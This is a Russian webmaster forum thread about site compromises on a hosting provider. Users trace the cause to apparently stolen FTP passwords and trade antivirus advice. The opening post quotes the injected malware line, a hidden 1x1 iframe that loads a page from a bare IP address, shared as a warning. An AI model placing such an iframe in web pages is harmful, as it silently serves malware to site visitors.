ht-systems.ru ломанули? Есть еще пострадавшие?

12
Mark
На сайте с 24.09.2004
Offline
112
1324

Сегоня заметил, что кто-то ломанул хостера и в индексные файлы подсадил трояна.

<!-- ~ --><iframe width=1 height=1 border=0 frameborder=0 src="http://58.65.232.9/view/index.php"></iframe><!-- ~ -->

У меня около 10 аккаунов у этого хостера .. все индексные файлы были изменены 6го чила. Так что если кто там хостится проверяйте ... может тоже подхватлили заразу. :)

kod_ssilki_ru
На сайте с 02.03.2005
Offline
176
#1

Не факт, что это хостера ломанули - и посмотрите

/ru/forum/comment/1924294

Аккаунт закрыт 21.07.2009 ЛС (PM) отключены. Всем успехов! И Спасибо тем, кто был добр ко мне. Этот аккаунт ломали 18.05.2010 в 11.13 с ip 118.97.72.37 189.42.222.213 202.146.241.19 82.198.27.9
ШO
На сайте с 27.12.2005
Offline
375
#2

Свой акк проверил, на 5 сайтах все чисто, может не хостера ломанули, а вас?

Mark
На сайте с 24.09.2004
Offline
112
#3
ШАНС-ON:
Свой акк проверил, на 5 сайтах все чисто, может не хостера ломанули, а вас?

У меня все пароли забиты в тотал командоре ... около 30 сайтов (у разных хостеров), ломанули только сайты хостящиеся на ht-systems. В чем дело непонятно.😒

ШO
На сайте с 27.12.2005
Offline
375
#4
Mark:
тотал командоре

Возможно не с него сливали, вариантов тьма.

Могли прочитать письмо с напоминанием о продлении хостинга, к примеру, там пароли доступа к панеле указываются.

Mark
На сайте с 24.09.2004
Offline
112
#5
ШАНС-ON:
Возможно не с него сливали, вариантов тьма.
Могли прочитать письмо с напоминанием о продлении хостинга, к примеру, там пароли доступа к панеле указываются.

Да, походу дело не в хостере ... некоторые мои аккаунты у других хостеров тоже ломанули. Так что ложная тревога ... ht-systems тут не причем.

ШO
На сайте с 27.12.2005
Offline
375
#6

Mark, ну вот видите, пароли слили... сочувствую, проверяйтесь на вирусы.

Mark
На сайте с 24.09.2004
Offline
112
#7
ШАНС-ON:
Mark, ну вот видите, пароли слили... сочувствую, проверяйтесь на вирусы.

Ну теперь другой вопрос, какой антивирус лучше поставить? :) Что-то старый не справился.

basterr
На сайте с 24.11.2005
Offline
719
#8

всеже что то тут не чисто. мне вот чего прислали сегодня:

--------

Мы ввели новую систему шифрования административных паролей для входа в

аккаунт, и в связи с этим информируем Вас о том, что Вам необходимо

произвести смену пароля, который Вы используете для ВХОДА В ПАНЕЛЬ

УПРАВЛЕНИЯ Вашим аккаунтом, чтобы новая схема безопасности начала работать.

Для этого Вам нужно зайти в пункт меню "Смена паролей" Вашей панели

управления и изменить АДМИНИСТРАТИВНЫЙ пароль. В противном случае, наши

гарантии безопасности не будут иметь никакой реальной составляющей.

Также для обеспечения хороших показателей безопасности Ваших данных и на

основании мы ввели систему оповещения устарелости пароля, которая

информирует Вас об этом при входе в панель управления. Считается старым

пароль, который не изменялся в течении полугода

---------

пойду действительно сменю

kod_ssilki_ru
На сайте с 02.03.2005
Offline
176
#9
Mark:
Ну теперь другой вопрос, какой антивирус лучше поставить? :) Что-то старый не справился.

Лично у меня Dr.Web стоит. но в дополнение к антивирусу еще стоит файэвол и антишпионско-антитроянская программа http://antispy.ru/ - с dr.Web-ом друг другу не мешают, при этом он периодически находит всякие трояны, которых антивирус не видит

broken
На сайте с 03.10.2006
Offline
228
#10

http://www.viruslist.com/ru/viruses/encyclopedia?virusid=147349 ищем пристально. даже если у вас еще не слили пароли.

хотя я недавно заводил тему о такой же ситуации на свебе. но вирус у себя не нашел никакого до сих пор.и сломали только свебовские с html /c php не тронуты и остальных хостеров тоже -прикидываю как бы моя сетка накрылась медным тазом если бы от неё кто-то ftp утащил . жуть.

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий